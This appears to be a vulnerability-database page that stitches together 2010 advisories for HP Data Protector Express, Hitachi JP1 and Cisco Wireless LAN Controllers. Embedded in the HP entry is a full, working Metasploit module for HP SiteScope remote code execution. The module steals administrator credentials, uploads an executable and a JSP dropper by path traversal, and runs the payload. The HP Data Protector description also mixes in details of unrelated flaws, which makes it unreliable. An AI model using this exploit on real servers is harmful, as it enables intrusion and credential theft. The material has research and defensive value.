VARIoT IoT vulnerabilities database
| VAR-201009-0282 | CVE-2010-3007 |
HP Data Protector Express and Data Protector Express SSE Vulnerability gained in
Related entries in the VARIoT exploits database: VAR-E-201009-0065 |
CVSS V2: 7.2 CVSS V3: - Severity: HIGH |
Unspecified vulnerability in HP Data Protector Express, and Data Protector Express Single Server Edition (SSE), 3.x before build 56936 and 4.x before build 56906 allows local users to gain privileges or cause a denial of service via unknown vectors. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Hewlett-Packard Data Protector. Authentication is not required to exploit this vulnerability.The specific flaw exists within the function DtbClsLogin defined in the module dpwindtb.dll on Windows and libdplindtb.so on Linux. This function takes user supplied input and copies it directly to a stack buffer. By providing a large enough string this buffer can be overrun and may result in arbitrary code execution dependent on the underlying operating system. One of those calls is getSiteScopeConfiguration() which will return the current configuration of the server including the administrator login and password information. ----------------------------------------------------------------------
Windows Applications Insecure Library Loading
The Official, Verified Secunia List:
http://secunia.com/advisories/windows_insecure_library_loading/
The list is continuously updated as we confirm the vulnerability reports so check back regularly too see if any of your apps are affected.
----------------------------------------------------------------------
TITLE:
HP Data Protector Express Denial of Service and Privilege Escalation
SECUNIA ADVISORY ID:
SA41361
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/41361/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=41361
RELEASE DATE:
2010-09-10
DISCUSS ADVISORY:
http://secunia.com/advisories/41361/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/41361/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=41361
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been reported in HP Data Protector Express, which
can be exploited by malicious, local users to cause a DoS (Denial of
Service) or potentially gain escalated privileges.
The vulnerability is caused due to an unspecified error. No further
information is currently available.
PROVIDED AND/OR DISCOVERED BY:
The vendor credits AbdulAziz Hariri of Insight Technologies via ZDI.
ORIGINAL ADVISORY:
HPSBMA02576 SSRT090231:
http://www13.itrc.hp.com/service/cki/docDisplay.do?docId=emr_na-c02498535
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
.
References: CVE-2010-3007, ZDI-CAN 581
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
Note: The supported versions of Microsoft Windows, Linux, and Novell NetWare are listed below.
Note: Users can identify the build number by clicking on 'Help' and then 'About'.
BACKGROUND
CVSS 2.0 Base Metrics
===========================================================
Reference Base Vector Base Score
CVE-2010-3007 (AV:L/AC:L/Au:S/C:P/I:C/A:C) 6.4
===========================================================
Information on CVSS is documented
in HP Customer Notice: HPSN-2008-002
The Hewlett-Packard Company thanks AbdulAziz Hariri of Insight Technologies along with TippingPoint.s Zero Day Initiative for reporting this vulnerability to security-alert@hp.com
HP Data Protector Express 'Hot Fix' (Build 56936) for version 3.5 SP2 is supported on the following:
Windows Operating Systems
Version
Microsoft Windows Unified Data Storage Server (incl. R2)
Microsoft Windows Server 2003 Enterprise / Standard Editions (incl. R2)
Microsoft Windows Storage Server 2003 (incl. R2)
Microsoft Windows 2000 Server / Advanced Server SP4
Microsoft Windows Small Business Server 2000 SP4
Microsoft Windows 2000 Professional SP4
Microsoft Windows Small Business 2003 Server Premium / Standard (incl. R2)
Microsoft Windows XP Professional / Home SP2
Linux Operating Systems
Version
Red Hat Enterprise Linux (WS/ES/AS) 5
Red Hat Enterprise Linux (WS/ES/AS) 4
Red Hat Enterprise Linux (WS/ES/AS) 3
SuSE Linux Enterprise Server 10
SuSE Linux Enterprise Server 9
Novell Operating Systems
Version
NetWare 6.5 SP2
NetWare 6.0 SP3
HP Data Protector Express 'Hot Fix' (Build 56906) for version 4.0 SP1 is supported on the following:
Windows Operating Systems
Version
Windows Server 2008 SP1 (32-bit and X64) Enterprise / Standard / Datacenter / Web Server Editions
Windows Server 2003 R2 SP2 (32-bit and X64) Enterprise / Standard Editions
Windows Small Business Server 2008 (32-bit and X64)
Windows Small Business Server 2003 R2 (32-bit and X64)
Windows Unified Data Storage Server 2003 R2 (32-bit and X64)
Windows Storage Server 2003 R2 (32-bit and X64)
Windows VISTA SP1 (32-bit and X64)
Windows XP SP3 (32-bit)
Linux Operating Systems
Version
Red Hat Enterprise Linux (WS/ES/AS) 5.0 update 1 (32-bit and X64)
Red Hat Enterprise Linux (WS/ES/AS) 4.0 update 6 (32-bit and X64)
SuSE Linux Enterprise Server 10 update 2 (32-bit and X64)
SuSE Linux Enterprise Server 9 update 4 (32-bit and X64)
Novell Operating Systems
Version
NetWare 6.5 SP5
RESOLUTION
HP has provided upgrades to resolve this vulnerability.
PRODUCT SPECIFIC INFORMATION
None
HISTORY
Version:1 (rev.1) 8 September 2010 Initial release
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For further information, contact normal HP Services support channel.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
To: security-alert@hp.com
Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
-check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
-verify your operating system selections are checked and save.
To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do
* The Software Product Category that this Security Bulletin
relates to is represented by the 5th and 6th characters
of the Bulletin number in the title:
GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.
"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
Copyright 2009 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits;damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)
iEYEARECAAYFAkyIYLcACgkQ4B86/C0qfVnz1QCgveZICKBeXxRlmAbL4cZvzgaq
mbIAoPqa1Ba0NueuwFSHxxrzX95YSyf3
=sbSc
-----END PGP SIGNATURE-----
.
-- Vendor Response:
Hewlett-Packard has issued an update to correct this vulnerability.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
. ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'HP SiteScope Remote Code Execution',
'Description' => %q{
This module exploits a code execution flaw in HP SiteScope. It exploits two
vulnerabilities in order to get its objective. An authentication bypass in the
getSiteScopeConfiguration operation, available through the APISiteScopeImpl AXIS
service, to retrieve the administrator credentials and subsequently abuses the
UploadManagerServlet to upload an arbitrary payload embedded in a JSP. The module
has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '85120' ],
[ 'OSVDB', '85121' ],
[ 'BID', '55269' ],
[ 'BID', '55273' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-173/' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-174/' ]
],
'Privileged' => true,
'Platform' => 'win',
'Targets' =>
[
[ 'HP SiteScope 11.20 / Windows x86',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 29 2012'))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
], self.class)
end
def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
client.fs.file.rm("../#{@var_hexfile}.txt")
client.fs.file.rm("../#{@jsp_name}.jsp")
else
client.shell_command_token("del ..\\#{@var_hexfile}.txt")
client.shell_command_token("del ..\\#{@jsp_name}.jsp")
end
end
def exploit
@peer = "#{rhost}:#{rport}"
@uri = target_uri.path
@uri << '/' if @uri[-1,1] != '/'
# Retrieve administrator credentials
print_status("#{@peer} - Retrieving HP SiteScope Configuration")
conf = access_configuration
if not conf or conf.empty?
print_error("#{@peer} - Failed to retrieve the HP SiteScope Configuration")
return
end
print_status("#{@peer} - Retrieving HP SiteScope administrator credentials")
admin_data = conf.split("\x03\x5F\x69\x64\x74\x00\x0D\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x6F\x72\x74\x00")[1]
if not admin_data or admin_data.empty?
print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
return
end
admin_password = admin_data.split(/\x09_passwordt\x00/)[1]
if not admin_password or admin_password.empty?
print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
return
end
password_length = admin_password.unpack("C").first
if password_length > 0
password = admin_password[1, password_length]
else
password = ""
end
admin_user_type, admin_user = admin_password.split(/\x06(_login[q|t])\x00/)[1, 2]
if not admin_user_type or admin_user_type.empty?
print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
return
end
if admin_user_type == "_logint"
if not admin_user or admin_user.empty?
print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
return
end
user_length = admin_user.unpack("C").first
else
user_length = 0
end
if user_length > 0
user = admin_user[1, user_length]
else
user = ""
end
# Generate an initial JSESSIONID
print_status("#{@peer} - Retrieving an initial JSESSIONID")
res = send_request_cgi(
'uri' => "#{@uri}servlet/Main",
'method' => 'POST',
)
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/
session_id = $1
else
print_error("#{@peer} - Retrieve of initial JSESSIONID failed")
return
end
# Authenticate
login_data = "j_username=#{user}&j_password=#{password}"
print_status("#{@peer} - Authenticating on HP SiteScope Configuration")
res = send_request_cgi(
{
'uri' => "#{@uri}j_security_check",
'method' => 'POST',
'data' => login_data,
'ctype' => "application/x-www-form-urlencoded",
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
})
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/
session_id = $1
redirect = URI(res.headers['Location']).path
else
print_error("#{@peer} - Authentication on SiteScope failed")
return
end
# Follow redirection to complete authentication process
print_status("#{@peer} - Following redirection to finish authentication")
res = send_request_cgi(
{
'uri' => redirect,
'method' => 'GET',
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
})
if not res or res.code != 200
print_error("#{@peer} - Authentication on SiteScope failed")
return
end
# Upload the JSP and the raw payload
@jsp_name = rand_text_alphanumeric(8+rand(8))
# begin <payload>.jsp
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
var_data = Rex::Text.rand_text_alpha(rand(8)+8)
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
@var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)
jspraw = "<%@ page import=\"java.io.*\" %>\n"
jspraw << "<%\n"
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n"
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
jspraw << "String #{var_data} = \"\";\n"
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
jspraw << "}\n"
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
jspraw << "#{var_inputstream}.close();\n"
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
jspraw << "{\n"
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
jspraw << "#{var_comb} <<= 4;\n"
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
jspraw << "}\n"
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
jspraw << "#{var_outputstream}.close();\n"
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
jspraw << "String[] #{var_fperm} = new String[3];\n"
jspraw << "#{var_fperm}[0] = \"chmod\";\n"
jspraw << "#{var_fperm}[1] = \"+x\";\n"
jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"
# Linux and other UNICES allow removing files while they are in use...
jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
jspraw << "} else {\n"
# Windows does not ..
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"
jspraw << "%>\n"
# Specify the payload in hex as an extra file..
payload_hex = payload.encoded_exe.unpack('H*')[0]
post_data = Rex::MIME::Message.new
post_data.add_part(payload_hex, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"")
print_status("#{@peer} - Uploading the payload")
res = send_request_cgi(
{
'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=..\\..\\..\\..\\..\\..\\#{@var_hexfile}.txt&UploadFilesHandler.ovveride=true",
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
})
if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/
path = $1
print_good("#{@peer} - Payload successfully uploaded to #{path}")
else
print_error("#{@peer} - Error uploading the Payload")
return
end
post_data = Rex::MIME::Message.new
post_data.add_part(jspraw, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"")
print_status("#{@peer} - Uploading the JSP")
res = send_request_cgi(
{
'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=..\\..\\..\\..\\..\\..\\#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true",
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
})
if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/
path = $1
print_good("#{@peer} - JSP successfully uploaded to #{path}")
else
print_error("#{@peer} - Error uploading the JSP")
return
end
print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...")
send_request_cgi(
{
'uri' => "#{@uri}#{@jsp_name}.jsp",
'method' => 'GET',
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
})
end
def access_configuration
data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
data << "<wsns0:Envelope" + "\r\n"
data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n"
data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n"
data << ">" + "\r\n"
data << "<wsns0:Body" + "\r\n"
data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n"
data << ">" + "\r\n"
data << "<impl:getSiteScopeConfiguration" + "\r\n"
data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n"
data << "></impl:getSiteScopeConfiguration>" + "\r\n"
data << "</wsns0:Body>" + "\r\n"
data << "</wsns0:Envelope>"
res = send_request_cgi({
'uri' => "#{@uri}services/APISiteScopeImpl",
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => data,
'headers' => {
'SOAPAction' => '""',
}})
if res and res.code == 200
if res.headers['Content-Type'] =~ /boundary="(.*)"/
boundary = $1
end
if not boundary or boundary.empty?
return nil
end
if res.body =~ /getSiteScopeConfigurationReturn href="cid:([A-F0-9]*)"/
cid = $1
end
if not cid or cid.empty?
return nil
end
if res.body =~ /#{cid}>\r\n\r\n(.*)\r\n--#{boundary}/m
loot = Rex::Text.ungzip($1)
end
if not loot or loot.empty?
return nil
end
return loot
end
return nil
end
end
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
ZDI-12-173 : (0Day) HP SiteScope SOAP Call getSiteScopeConfiguration Remote
Code Execution Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-12-173
August 29, 2012
- -- CVE ID:
- -- CVSS:
10, AV:N/AC:L/Au:N/C:C/I:C/A:C
- -- Affected Vendors:
Hewlett-Packard
- -- Affected Products:
Hewlett-Packard SiteScope
- -- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 12484. Authentication is not required to
exploit this vulnerability.
- -- Vendor Response:
- -- Mitigation:
Given the stated purpose of SiteScope, and the nature of the vulnerability,
the only salient mitigation strategy is to restrict interaction with the
service to trusted machines. Only the clients and servers that have a
legitimate procedural relationship with the HP SiteScope service should be
permitted to communicate with it. This could be accomplished in a number of
ways, most notably with firewall rules/whitelisting. These features are
available in the native Windows Firewall, as described in
http://technet.microsoft.com/en-us/library/cc725770%28WS.10%29.aspx and
numerous other Microsoft Knowledge Base articles.
- -- Disclosure Timeline:
2011-12-22 - Vulnerability reported to vendor
2012-08-29 - 0Day advisory released in accordance with the ZDI 180 day
deadline policy
- -- Credit:
This vulnerability was discovered by:
* Andrea Micalizzi aka rgod
- -- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product
| VAR-201009-0494 | No CVE | Hitachi JP1/NETM/Remote Control Agent File Transfer Feature Security Bypass Vulnerability |
CVSS V2: - CVSS V3: - Severity: - |
Hitachi JP1/NETM/Remote Control Agent is prone to a security-bypass vulnerability.
Remote attackers can exploit this issue to bypass security restrictions and gain unauthorized access. Other attacks may also be possible. ----------------------------------------------------------------------
Windows Applications Insecure Library Loading
The Official, Verified Secunia List:
http://secunia.com/advisories/windows_insecure_library_loading/
The list is continuously updated as we confirm the vulnerability reports so check back regularly too see if any of your apps are affected.
----------------------------------------------------------------------
TITLE:
Hitachi JP1/Remote Control Agent Security Bypass Vulnerability
SECUNIA ADVISORY ID:
SA41524
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/41524/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=41524
RELEASE DATE:
2010-09-22
DISCUSS ADVISORY:
http://secunia.com/advisories/41524/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/41524/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=41524
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been reported in JP1/Remote Control Agent, which
can be exploited by malicious people to bypass certain security
restrictions.
The vulnerability is caused due to an unspecified error in the file
transfer feature and can be exploited to bypass authentication.
Please see the vendor's advisory for the list of affected products.
SOLUTION:
Apply patches. Please see the vendor's advisory for more details.
PROVIDED AND/OR DISCOVERED BY:
Reported by the vendor.
ORIGINAL ADVISORY:
Hitachi (HS10-025):
http://www.hitachi.co.jp/Prod/comp/soft1/security/info/vuls/HS10-025/index.html
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201009-0017 | CVE-2010-0574 |
Cisco Wireless LAN Controller Unknown Vulnerability
Related entries in the VARIoT exploits database: VAR-E-201009-1071 |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
Unspecified vulnerability in Cisco Wireless LAN Controller (WLC) software 3.2 before 3.2.215.0; 4.1 and 4.2 before 4.2.205.0; 4.1M and 4.2M before 4.2.207.54M; 5.0, 5.1, and 6.0 before 6.0.188.0; and 5.2 before 5.2.193.11 allows remote attackers to cause a denial of service (device reload) via a crafted IKE packet, aka Bug ID CSCta56653. An attacker could send a malformed IKE message to the affected Cisco WLC to crash or reload the device. This vulnerability can be exploited from both wireless and wired segments.
This issue is tracked by Cisco Bug ID CSCta56653.
http://tools.cisco.com/Support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&bugId=CSCsq24002. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Cisco Security Advisory: Multiple Vulnerabilities in Cisco Wireless
LAN Controllers
Advisory ID: cisco-sa-20100908-wlc
Revision 1.0
For Public Release 2010 September 08 1600 UTC (GMT)
+---------------------------------------------------------------------
Summary
=======
The Cisco Wireless LAN Controller (WLC) product family is affected by
these vulnerabilities:
* Two denial of service (DoS) vulnerabilities
* Three privilege escalation vulnerabilities
* Two access control list (ACL) bypass vulnerabilities
Note: These vulnerabilities are independent of one another. A device
may be affected by one vulnerability and not affected by another.
Cisco has released free software updates that address these
vulnerabilities.
There are no workarounds to mitigate these vulnerabilities.
This advisory is posted at:
http://www.cisco.com/warp/public/707/cisco-sa-20100908-wlc.shtml
Affected Products
=================
Vulnerable Products
+------------------
These products are each affected by at least one vulnerability
covered in this Security Advisory:
* Cisco 2000 Series WLCs
* Cisco 2100 Series WLCs
* Cisco 4100 Series WLCs
* Cisco 4400 Series WLCs
* Cisco 5500 Series WLCs
* Cisco Wireless Services Modules (WiSMs)
* Cisco WLC Modules for Integrated Services Routers (ISRs)
* Cisco Catalyst 3750G Integrated WLCs
DoS Vulnerabilities
~~~~~~~~~~~~~~~~~~~
The Cisco WLC product family is affected by two DoS vulnerabilities:
* Internet Key Exchange (IKE) DoS Vulnerability
* HTTP DoS Vulnerability
The IKE DoS vulnerability affects Cisco WLC software versions 3.2 and
later. The HTTP DoS vulnerability affects Cisco WLC software versions
4.2 and later.
Privilege Escalation Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The privilege escalation vulnerabilities affect Cisco WLC software
versions 4.2 and later.
CPU ACL Bypass Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
One of the two ACL bypass vulnerabilities affects Cisco WLC software
versions 4.1 and later. The second ACL bypass vulnerability affects
Cisco WLC software versions 6.0.x.
Determination of Software Versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Administrators can use these instructions to determine the software
version that is running on the Cisco WLCs (using the web or
command-line interface) or on the Cisco WiSM (using commands on the
Cisco Catalyst 6500 Series Switch and Cisco 7600 Series Router).
Cisco Wireless Controllers
~~~~~~~~~~~~~~~~~~~~~~~~~~
To determine the WLC version that is running in a given environment,
use one of these methods:
* In the web interface, choose the "Monitor" tab, click "Summary" in
the left pane, and note the "Software" Version field.
Note: Customers who use a Cisco WLC Module in an ISR will need to
issue the "service-module wlan-controller <slot/port> session" command
prior to performing the next step on the command line. Customers who
use a Cisco Catalyst 3750G Switch with an integrated WLC Module will
need to issue the "session <Stack-Member-Number> processor 1 session"
command prior to performing the next step on the command line.
* From the command-line interface, type "show sysinfo" and note the
"Product Version" field, as shown in this example:
(Cisco Controller)> show sysinfo
